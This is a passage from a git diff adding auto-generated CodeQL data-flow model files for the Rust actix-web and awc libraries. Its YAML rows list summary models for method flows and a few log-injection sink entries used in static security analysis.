"::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[crate::thin_data::ThinData(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from_request", "Argument[0].Reference", "ReturnValue.Field[crate::types::either::EitherExtractFut::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::unwrap_left", "Argument[self].Field[crate::types::either::Either::Left(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::unwrap_right", "Argument[self].Field[crate::types::either::Either::Right(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from_request", "Argument[0].Reference", "ReturnValue.Field[crate::types::form::FormExtractFut::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[crate::types::form::Form(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[crate::types::form::Form(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::types::form::Form(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "Argument[self].Field[crate::types::form::FormConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "ReturnValue.Field[crate::types::form::FormConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "Argument[self].Field[crate::types::form::UrlEncoded::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "ReturnValue.Field[crate::types::form::UrlEncoded::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[crate::types::header::Header(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[crate::types::header::Header(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::types::header::Header(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::respond_to", "Argument[self].Field[0]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::respond_to", "Argument[self].Field[crate::types::html::Html(0)]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from_request", "Argument[0].Reference", "ReturnValue.Field[crate::types::json::JsonExtractFut::req].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[crate::types::json::Json(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[crate::types::json::Json(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::types::json::Json(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "ReturnValue.Field[crate::types::json::JsonBody::Body::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::content_type_required", "Argument[0]", "Argument[self].Field[crate::types::json::JsonConfig::content_type_required]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::content_type_required", "Argument[0]", "ReturnValue.Field[crate::types::json::JsonConfig::content_type_required]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::content_type_required", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "Argument[self].Field[crate::types::json::JsonConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "ReturnValue.Field[crate::types::json::JsonConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::types::path::Path(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "Argument[self].Field[crate::types::payload::HttpMessageBody::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "ReturnValue.Field[crate::types::payload::HttpMessageBody::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::types::payload::Payload(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "Argument[self].Field[crate::types::payload::PayloadConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "ReturnValue.Field[crate::types::payload::PayloadConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::mimetype", "Argument[0]", "Argument[self].Field[crate::types::payload::PayloadConfig::mimetype].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::mimetype", "Argument[0]", "ReturnValue.Field[crate::types::payload::PayloadConfig::mimetype].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::mimetype", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::types::payload::PayloadConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[crate::types::query::Query(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[crate::types::query::Query(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::types::query::Query(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "Argument[self].Field[crate::types::readlines::Readlines::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "ReturnValue.Field[crate::types::readlines::Readlines::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::downcast_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::downcast_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::downcast_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::downcast_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0].Field[crate::http::header::content_length::ContentLength(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "crate::guard::Method", "Argument[0]", "ReturnValue.Field[crate::guard::MethodGuard(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "crate::guard::fn_guard", "Argument[0]", "ReturnValue.Field[crate::guard::FnGuard(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "crate::web::scope", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new_strong", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new_weak", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::strong", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::weak", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::custom_request_replace", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::custom_response_replace", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::respond_to", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-awc.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-awc.model.yml new file mode 100644 index 000000000000..30828f012fa4 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-awc.model.yml @@ -0,0 +1,226 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:awc", "::add_default_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::connector", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::connector]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::disable_redirects", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::disable_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[0]", "Argument[self].Field[crate::builder::ClientBuilder::conn_window_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::conn_window_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_window_size", "Argument[0]", "Argument[self].Field[crate::builder::ClientBuilder::stream_window_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_window_size", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::stream_window_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::local_address", "Argument[0]", "Argument[self].Field[crate::builder::ClientBuilder::local_address].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::local_address", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::local_address].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::local_address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_http_version", "Argument[0]", "Argument[self].Field[crate::builder::ClientBuilder::max_http_version].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_http_version", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::max_http_version].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_http_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_redirects", "Argument[0]", "Argument[self].Field[crate::builder::ClientBuilder::max_redirects]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_redirects", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::max_redirects]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_redirects", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::no_default_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "Argument[self].Field[crate::builder::ClientBuilder::timeout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::timeout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::wrap", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::middleware].Field[crate::middleware::NestTransform::parent]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::delete", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::head", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::options", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::patch", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::post", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::put", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::request", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::request_from", "Argument[1].Field[crate::requests::head::RequestHead::method].Reference", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::request_from", "Argument[1].Field[crate::requests::head::RequestHead::method]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::ws", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::no_disconnect_timeout", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::client::connection::H2ConnectionInner::sender]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::conn_keep_alive", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_keep_alive]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::conn_keep_alive", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_keep_alive]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::conn_keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::conn_lifetime", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_lifetime]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::conn_lifetime", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_lifetime]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::conn_lifetime", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::connector", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::connector]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::connector", "Argument[self].Field[crate::client::connector::Connector::config]", "ReturnValue.Field[crate::client::connector::Connector::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::connector", "Argument[self].Field[crate::client::connector::Connector::tls]", "ReturnValue.Field[crate::client::connector::Connector::tls]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::disconnect_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::finish", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::handshake_timeout", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::handshake_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::handshake_timeout", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::handshake_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::handshake_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_window_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_window_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_window_size", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::stream_window_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_window_size", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::stream_window_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::limit", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::limit", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::local_address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_http_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::openssl", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Openssl(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::openssl", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Openssl(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::openssl", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls020(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls020(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_021", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls021(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_021", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls021(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_021", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_0_22", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls022(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_0_22", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls022(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_0_22", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_0_23", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls023(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_0_23", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Rustls023(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::rustls_0_23", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::ssl", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Openssl(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::ssl", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::tls].Field[crate::client::connector::OurTlsConnector::Openssl(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::ssl", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::client::connector::TlsConnectorService::timeout]", "ReturnValue.Field[crate::client::connector::TlsConnectorFuture::TcpConnect::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::client::connector::TlsConnectorService::tls_service].Reference", "ReturnValue.Field[crate::client::connector::TlsConnectorFuture::TcpConnect::tls_service].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::client::connector::TlsConnectorService::tls_service]", "ReturnValue.Field[crate::client::connector::TlsConnectorFuture::TcpConnect::tls_service].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue.Field[crate::client::error::ConnectError::Io(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue.Field[crate::client::error::ConnectError::Resolver(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Http(0)]", "ReturnValue.Field[crate::client::error::FreezeRequestError::Http(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Url(0)]", "ReturnValue.Field[crate::client::error::FreezeRequestError::Url(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::client::error::FreezeRequestError::Custom(0)]", "ReturnValue.Field[crate::client::error::SendRequestError::Custom(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::client::error::FreezeRequestError::Custom(1)]", "ReturnValue.Field[crate::client::error::SendRequestError::Custom(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Http(0)]", "ReturnValue.Field[crate::client::error::SendRequestError::Http(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Url(0)]", "ReturnValue.Field[crate::client::error::SendRequestError::Url(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::client::pool::ConnectionPool::connector]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::deref", "Argument[self].Field[crate::client::pool::ConnectionPoolInner(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue.Field[crate::client::pool::Key::authority]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::into_client_response", 